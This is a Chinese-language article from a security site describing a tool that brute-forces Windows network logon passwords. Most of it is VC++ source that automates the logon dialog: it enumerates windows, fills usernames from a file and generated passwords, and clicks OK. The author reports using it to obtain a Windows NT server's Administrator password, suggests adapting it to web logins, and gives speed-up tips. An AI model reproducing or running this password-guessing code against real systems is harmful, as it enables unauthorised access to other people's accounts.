首页 网络安全 安全学院 查看内容

Windows网络用户登录密码的猜解

2008-11-28 10:46 687 0

摘要:      Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数E...
关键词: 密码 用户名 file return 窗口 登录 NULL 线程 pThread cCurrentPCList

     Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。   利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。   一、猜解过程流程:   为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。   下面给出关键流程的源代码   1. 全局变量:   struct _Thread   {   CWinThread *pThread;   };   _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数   CEvent gEventNextPass;//取下一个密码,为实现同步引进   CEvent gEventPassOk;//已取得密码,为实现同步引进   CEvent gEventNextUser;//取下一个用户名,为实现同步引进   CEvent gEventUserOk;// 已取得用户名,为实现同步引进   CMutex gMutex;//互斥量,只允许单线程访问   char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。   char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名   2. 线程启动:   {   file://密码枚举线程   if(PassTread[0].pThread==NULL)   {   PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,   THREAD_PRIORITY_LOWEST);   PassTread[0].pThread->m_bAutoDelete=TRUE;   file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多   }   file://用户名枚举线程   if(UserTread[0].pThread==NULL)   {   UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,   THREAD_PRIORITY_LOWEST);   PassTread[0].pThread->m_bAutoDelete=TRUE;   }   file://窗口枚举线程   for(int i=0;i   {   if(WindowThread[i].pThread==NULL){   WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,   THREAD_PRIORITY_LOWEST);   WindowThread[i].pThread->m_bAutoDelete=TRUE;   }   }3.窗口及子窗口枚举   UINT ThreadProc(LPVOID *pPraram)   {   while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}   return 0;   }   BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)   {   char lpWinTitle[MAX_LINELENGTH];   ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);   if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名   { gMutex.Lock(INFINITE);//防止两个线程同时操作   while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));   gMutex.Unlock();   return FALSE;   }   return TRUE;   }   BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)   {   char sChildName[MAX_LINELENGTH];   ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);   file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的   file://各个子窗口   // 的属性。通过对比各控件的风格或名字来区别各控件。   if(strcmp(sChildName,"Edit")==0)   {   DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);   if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件   {   gEventNextPass.SetEvent();//发送“新密码”事件   WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件   gEventPassOk.ResetEvent(); file://复位   ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);   file://把新密码填到密码输入框,也可用SetWindowText()   bPass=TRUE;//记录密码已填入   if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。   {   ::SendMessage(::GetParent(hOk),WM_COMMAND,   (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));   file://向“确定”按钮送消息,参照ClassWizard的消息映射   bUser=FALSE;bPass=FALSE;hOk=NULL;   file://完成一次登录,初始化   return FALSE;   }   return TRUE;   }   file://非此即彼,这是用户名输入编辑控件   if((dWinSty&ES_READONLY)!=ES_READONLY)   {   ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);   file://把新用户名填到用户名输入框,也可用SetWindowText()   bUser=TRUE;// 新用户名已填入用户名输入框   if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。   {   ::SendMessage(::GetParent(hOk),WM_COMMAND,   (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));   file://向“确定”按钮送消息,参照ClassWizard的消息映射   bUser=FALSE;bPass=FALSE;hOk=NULL;   file://完成一次登录,初始化   return FALSE;   }   }   return TRUE;   }   file://如果是按钮控件   if(strcmp(sChildName,"Button")==0)   {   char sChildTitle[MAX_LINELENGTH];   ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);   if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;   // sButtonOk:登录窗口中“OK”按钮的标题   hOk=hwnd;//记录“OK”窗口句柄   if(bUser&&bPass)   {   ::SendMessage(::GetParent(hOk),WM_COMMAND,   (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));   file://向“确定”按钮送消息,参照ClassWizard的消息映射   bUser=FALSE;bPass=FALSE;hOk=NULL;   file://完成一次登录,初始化   return FALSE;   }   return TRUE;   }   return TRUE;   } 4.用户名枚举:   UINT GetNextUserF(FILE *file)   {   char cUser[MAX_LINELENGTH ],*token;   FILE *fUser;   int i,flag=0;   if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用户名的路径及文件名   {   MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0);   if(fUser!=NULL)fclose(fUser);   return 0;   }   while(!feof(fUser))   {   for(i=0;i   if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))   {   bCheckUser=FALSE;//记录用户名枚举完   fclose(fUser);   return 0;   }   token=strtok(cUser,SETPRATE);// #define SETPRATE " \t\n\r"   do   {   WaitForSingleObject(gEventNextUser,INFINITE);   // 等待“新用户名”事件   gEventNextUser.ResetEvent();//复位。   for(i=0;i   strcpy(cCurrentUser,token);//改变当前用户名。   gEventUserOk.SetEvent();//发送“用户名完成”事件   }while((token=strtok(NULL,SETPRATE))!=NULL);   }   return 1;   }   5.密码枚举:   UINT GetNextPassL(LPVOID pParam)   {   int i,j,iPre;   char cBuf[MAX_PASSWORD_LENGTH];   BEGIN:   for(int m=0;m   {   file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表   file://例如:cCurrentCharList =“abcd”:表示枚举的密码由abcd组成   file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码   file://组成字符集合列表的列表   file://例如:4444:表示生成密码为“dddd”,   file://4231:表示生成密码为“dbca”......   cCurrentPCList[m]= iCharCount;   // iCharCount:密码组成字符的字符个数   }   while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 结束   {   for(int n=0;n   while(1)   {   for(i=0;i   {   cBuf[i]=cCurrentCharList[cCurrentPCList[i]];   }   WaitForSingleObject(gEventNextPass,INFINITE);   // 等待“新密码”事件   gEventNextPass.ResetEvent();//复位。   for(int n=0;n   strcpy( cCurrentPass,cBuf);//改变当前密码。   gEventPassOk.SetEvent();//送密码完成事件   file://进行cCurrentPCList数组的处理。   if(( cCurrentPCList[i-1]--)==0)break;   }   file://最后一位复iCharCount;;   cCurrentPCList[i-1]= iCharCount;   iPre=1;//借位标志   for(j=i-2;j>=0;j--)   {   if(( cCurrentPCList[j]-=iPre)<0)   {   if(j==0)break;//结束。   cCurrentPCList[j]= iCharCount;iPre=1;//复位J,向上借位。   }   else {iPre=0;continue;}//不必再向上借位。   }   }   if(cCurrentPCList[0]<=0)   {   file://复位,进入下一个循环。   if(!bCheckUser)//如果用户名枚举完   {   MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0);   return 0;   }   gEventNextUser.SetEvent();//发送“新用户名”事件   WaitForSingleObject(gEventUserOk,INFINITE);   file://等待“用户名完成”事件   gEventUserOk.ResetEvent();//复位。   goto BEGIN;   }   return 0;   } 二、在局域网及互连网的应用:   笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。   三、存在的问题及解决办法:   在10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框(从“网络邻居”只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部